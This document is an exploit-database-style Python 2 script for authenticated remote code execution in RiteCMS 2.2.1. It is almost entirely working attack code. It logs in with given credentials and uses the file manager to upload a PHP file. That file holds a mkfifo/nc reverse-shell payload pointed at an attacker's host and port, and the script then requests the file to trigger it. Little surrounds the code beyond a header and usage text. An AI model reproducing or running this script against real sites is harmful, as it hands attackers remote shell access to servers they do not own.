Rite CMS 2.2.1 Remote Code Execution

`# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution  
# Date: 2020-07-03  
# Exploit Author: H0j3n  
# Vendor Homepage: http://ritecms.com/  
# Software Link: http://sourceforge.net/projects/ritecms/files/ritecms_2.2.1.zip/download  
# Version: 2.2.1  
# Tested on: Linux  
# Reference: https://www.exploit-db.com/exploits/48636  
  
# !/usr/bin/python  
# coding=utf-8  
import requests,sys,base64,os  
from colorama import Fore, Back, Style  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)  
  
# Variable  
CONTENT = '''<form action="index.php" method="post">'''  
  
# Header  
def header():  
top = cyan('''  
\t _____ _ _ _____ __ __ _____   
\t| __ \(_) | / ____| \/ |/ ____|  
\t| |__) |_| |_ ___| | | \ / | (___ ___ ___ ___  
\t| _ /| | __/ _ \ | | |\/| |\___ \ _ __ |_ | |_ | < /  
\t| | \ \| | || __/ |____| | | |____) | | |/ / / __/_ / __/_ / /   
\t|_| \_\_|\__\___|\_____|_| |_|_____/ |___/ /____(_)____(_)_/   
''')  
return top   
  
def info():  
top = cyan('''  
[+] IP : {0}  
[+] USERNAME : {1}  
[+] PASSWORD : {2}  
'''.format(IP,USER,PASS))  
  
return top  
  
# Request Function  
# Color Function  
def cyan(STRING):  
return Style.BRIGHT+Fore.CYAN+STRING+Fore.RESET  
  
def red(STRING):  
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET  
  
  
# Main   
if __name__ == "__main__":  
print header()  
print "\t--------------------------------------------------------------"  
print "\t| RiteCMS v2.2.1 - Authenticated Remote Code Execution |"  
print "\t--------------------------------------------------------------"  
print "\t| Reference : https://www.exploit-db.com/exploits/48636 |"  
print "\t| By : H0j3n |"  
print "\t--------------------------------------------------------------"  
if len(sys.argv) == 1:  
print red("[+] Usage :\t\t python %s http://10.10.10.10 admin:admin" % sys.argv[0])  
  
print cyan("\n[-] Please Put IP & Credentials")  
sys.exit(-1)  
if len(sys.argv) == 2:  
print red("[+] Usage :\t\t python %s http://10.10.10.10 admin:admin" % sys.argv[0])  
  
print cyan("\n[-] Please Put Credentials")  
sys.exit(-1)  
if len(sys.argv) > 3:  
print red("[+] Usage :\t\t python %s http://10.10.10.10 admin:admin" % sys.argv[0])  
  
print cyan("\n[-] Only 2 arguments needed please see the usage!")  
sys.exit(-1)   
IP = sys.argv[1]  
USER,PASS = sys.argv[2].split(":")  
print info()  
  
URL='{0}/cms/index.php'.format(IP)  
URL_UPLOAD = URL + '?mode=filemanager&action=upload&directory=media'  
  
HEAD = {"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"}  
LOG_INFO = {"username" : USER, "userpw" : PASS}  
try:  
with requests.Session() as SESSION:  
SESSION.get(URL)  
SESSION.post(URL, data=LOG_INFO, headers=HEAD,allow_redirects=False)  
except:  
print red("[-] Check the URL!")  
sys.exit(-1)   
if CONTENT in str(SESSION.get(URL_UPLOAD).text):  
print red("[-] Cannot Login!")  
sys.exit(-1)   
else:  
print cyan("[+] Credentials Working!")  
LHOST = str(raw_input("Enter LHOST : "))  
LPORT = str(raw_input("Enter LPORT : "))  
FILENAME = str(raw_input("Enter FileName (include.php) : "))  
PAYLOAD = "<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f'); ?>".format(LHOST,LPORT)  
FORM_DATA = {  
'mode': (None,'filemanager'),  
'file': (FILENAME, PAYLOAD),  
'directory': (None, 'media'),  
'file_name': (None, ''),  
'upload_mode': (None, '1'),  
'resize_xy': (None, 'x'),  
'resize': (None, '640'),  
'compression': (None, '80'),  
'thumbnail_resize_xy': (None, 'x'),  
'thumbnail_resize': (None, '150'),  
'thumbnail_compression': (None, '70'),  
'upload_file_submit': (None, 'OK - Upload file')  
}  
HEADER_UPLOAD = {  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',  
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language': 'en-US,en;q=0.5',  
'Accept-Encoding': 'gzip, deflate',  
'Referer': URL_UPLOAD  
}  
response = SESSION.post(URL,files=FORM_DATA,headers=HEADER_UPLOAD)  
if FILENAME in response.text:  
print cyan("\n[+] File uploaded and can be found!")  
else:  
print red("[-] File cannot be found or use different file name!")  
sys.exit(-1)  
URL_GET = IP + '/media/{0}'.format(FILENAME)  
OPTIONS = str(raw_input("Exploit Now (y/n)?"))  
print cyan("\nW0rk1ng!!! Enjoy :)")  
SESSION.get(URL_GET)  
  
`